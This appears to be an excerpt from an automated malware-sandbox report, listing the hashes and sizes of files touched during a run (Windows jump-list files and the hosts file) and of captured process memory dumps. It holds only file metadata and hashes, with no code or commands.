C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
e7d297aad535640321cff6fac9b1043d

SHA1
3c524c792f408dde24df99b127360becab629463

SHA256
02d921d4791e642d8d3e591be84f09a219dc50986cc12444fab2c23013151e19

SHA512
f499e1a5855073f9f616afba5314307757122472b0300c6fa75d713a5c8b972d88b10768dc5f6aca7beab1230460e60356ae0466fe977b2eecf57759f4c7f945

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
5a552274e2a72946d4d7f0ad8d503c7e

SHA1
0c6af7f95f6905e233e63f5f5e6b1527f8a1e8c1

SHA256
3754c376be677c45e532ad7d8b020cbe41cc9829586ff82015a5619f64af2f25

SHA512
a769bc7b328a539da36356a9cbcbf172c1b46dd97bd385b0780d52f79f19ecde3d477bbfcd56fb280b170f8a11cb3681020b56d3c334fe7396b3abe0b09bc253

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
499f778d22c437d07660ace37fe141be

SHA1
c743fcf618ae66b41b6d956c3d77bed906b93dcb

SHA256
267980a30c917aa986e4ad89a68c2d02d4fd79d7ca34623e397a9afe5660d7b6

SHA512
fa25e195b04bd509cc95977dbdf402ccab3176d3b94cffbf2b17d3b11655e80e4c9e04a99977da1f384600e4de0647e285680b069b55d5bd5e77ed1405ae0218

Download Submit
C:\Windows\System32\drivers\etc\hosts

Filesize
2KB

MD5
577f27e6d74bd8c5b7b0371f2b1e991c

SHA1
b334ccfe13792f82b698960cceaee2e690b85528

SHA256
0ade9ef91b5283eceb17614dd47eb450a5a2a371c410232552ad80af4fbfd5f9

SHA512
944b09b6b9d7c760b0c5add40efd9a25197c22e302c3c7e6d3f4837825ae9ee73e8438fc2c93e268da791f32deb70874799b8398ebae962a9fc51c980c7a5f5c

Download Submit
memory/1332-94-0x00000000012D0000-0x0000000001310000-memory.dmp

Filesize
256KB

Download
memory/2144-42-0x0000000000190000-0x00000000001D0000-memory.dmp

Filesize
256KB

Download
memory/2440-136-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/2440-135-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/2460-86-0x0000000000910000-0x000000000091E000-memory.dmp

Filesize
56KB

Download
memory/2460-0-0x000007FEF53C3000-0x000007FEF53C4000-memory.dmp

Filesize
4KB

Download
memory/2460-35-0x000007FEF53C0000-0x000007FEF5DAC000-memory.dmp

Filesize
9.9MB

Download
memory/2460-34-0x000007FEF53C3000-0x000007FEF53C4000-memory.dmp

Filesize
4KB

Download
memory/2460-36-0x0000000000770000-0x000000000077C000-memory.dmp

Filesize
48KB

Download
memory/2460-1-0x0000000000920000-0x000000000093C000-memory.dmp

Filesize
112KB

Download
memory/2460-2-0x000007FEF53C0000-0x000007FEF5DAC000-memory.dmp

Filesize
9.9MB

Download
memory/2492-33-0x00000000001F0000-0x000000000020C000-memory.dmp

Filesize
112KB

Download
memory/2568-15-0x0000000001D90000-0x0000000001D98000-memory.dmp

Filesize
32KB

Download
memory/2568-14-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

Filesize
2.9MB

Download
memory/2756-85-0x00000000010C0000-0x00000000010DC000-memory.dmp

Filesize
112KB

Download
memory/2820-8-0x00000000027A0000-0x00000000027A8000-memory.dmp

Filesize
32KB

Download
memory/2820-7-0x000000001B680000-0x000000001B962000-memory.dmp

Filesize
2.9MB

Download
memory/2860-87-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/2860-88-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download